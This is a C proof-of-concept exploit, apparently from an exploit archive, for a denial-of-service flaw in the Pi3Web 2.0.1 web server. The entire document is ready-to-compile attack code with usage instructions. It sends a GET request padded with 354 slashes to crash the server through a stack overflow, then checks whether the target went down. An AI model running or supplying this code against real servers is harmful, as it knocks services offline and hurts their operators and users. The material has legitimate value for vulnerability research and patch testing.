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Pi3Web 2.0.1 Denial of Service - Proof of Concept
[=================================================
Pi3Web 2.0.1 Denial of Service - Proof of Concept
=================================================
/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3 - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
* when a malformed HTTP Request is done the webserver hangs
* due to an stack overflow. GET /////////..[354]../////////
*
* Found by aT4r@3wdesign.es 04/26/2003
* Compiled with: lcc-win32 v3.3.
*
*/
#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>
char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;
int isalive(int OPT)
{
struct sockaddr_in haxorcitos;
int fd;
haxorcitos.sin_port = htons(port);
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_addr.s_addr = inet_addr(ip);
if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
{
printf(" [-] Unable to Create Socket\n\n");
return(0);
}
if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
{
if (OPT==0)
printf(" [+] Exploit Success. Remote webserver shutdown\n");
else
printf(" [-] Unable to connect\n\n");
return(0);
}
if (OPT==0)
{
printf(" [-] Exploit Failed. System Patched?\n\n");
}
else
{
send(fd,evilbuffer, strlen(evilbuffer),0);
printf(" [+] Data Sent. Now Checking Host\n");
closesocket(fd);
}
return(1);
}
void usage(void)
{
printf(" [+] Usage: PiDoS.exe HOST [port]\n\n"); exit(1);
}
void main(int argc,char *argv[])
{
WSADATA ws;
if (WSAStartup( MAKEWORD(1,1), &ws )!=0)
{
printf(" [+] WSAStartup() error\n");
exit(0);
}
printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :...
..\n\n");
if ((argc!=2) && (argc!=3))
usage();
strcpy(ip,argv[1]);
if (argc==3) port=atoi(argv[2]);
memset(evilrequest,0,512);
memset(evilbuffer,0,1024);
memset(evilrequest,'/',354);
//sprintf(evilbuffer, "GET %s\r\n",evilrequest);
sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost:
%s\r\n\r\n\r\n",evilrequest,argv[2]);
if (isalive(1))
{ sleep(1000); isalive(0);}
}
# 0day.today [2024-12-24] #